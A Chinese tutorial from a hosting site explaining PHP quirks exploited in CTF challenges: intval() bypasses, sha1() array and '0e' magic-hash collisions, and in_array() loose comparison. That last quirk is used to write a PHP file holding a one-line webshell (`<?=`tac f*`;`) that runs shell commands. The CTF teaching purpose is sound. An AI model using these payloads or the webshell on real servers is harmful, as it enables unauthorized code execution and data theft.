温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

CTF中的PHP特性函数有哪些

发布时间:2023-02-24 15:55:27 来源:亿速云 阅读:111 作者:iii 栏目:开发技术

本篇内容主要讲解“CTF中的PHP特性函数有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“CTF中的PHP特性函数有哪些”吧!

    intval()

    官方是怎样定义的:

    CTF中的PHP特性函数有哪些

    简单来说就是让输入的数字变成整数,下面我们举个例子:

    echo intval(1145.14);                     // 1145
    echo intval('114514');                    // 114514

    可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:

    if($num==="1145"){
            die("no no no!");
        }
        if(intval($num,0)===1145){
            echo $flag;
        }

    要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?

    这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:

    sum=1145a

    intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:

    CTF中的PHP特性函数有哪些

    当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。

    strpos()

    CTF中的PHP特性函数有哪些

    根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:

     if(!strpos($num, "0")){
            die("no no no!");

    因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。

    sha1

    CTF中的PHP特性函数有哪些

    p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:

    数组比较

    类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:

    if(sha1($a)==sha1($b) && $a!=$b){
      	echo $flag;
    }

    可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,,于是我们传入数组来使结果为NULL:

    a[]=1
    b[]=2

    强类型

    与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:

    if(sha1($a)===sha1($b) && $a!=$b){
      	echo $flag;
    }

    这里同样有类似于MD5函数的解决方法:

    a=aaK1STf    //0e7665852665575620768827115962402601
    b=aaO8zKZF   //0e89257456677279068558073954252716165

    array_push()

    CTF中的PHP特性函数有哪些

    可以理解为向数组尾部插入参数,我们看看是如何考察的:

    <?php
    highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    ?>

    可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:

    CTF中的PHP特性函数有哪些

    type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:

    get:  n=1.php
    post: content=&lt;?=`tac f*`;

    到此,相信大家对“CTF中的PHP特性函数有哪些”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

    向AI问一下细节

    免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

    AI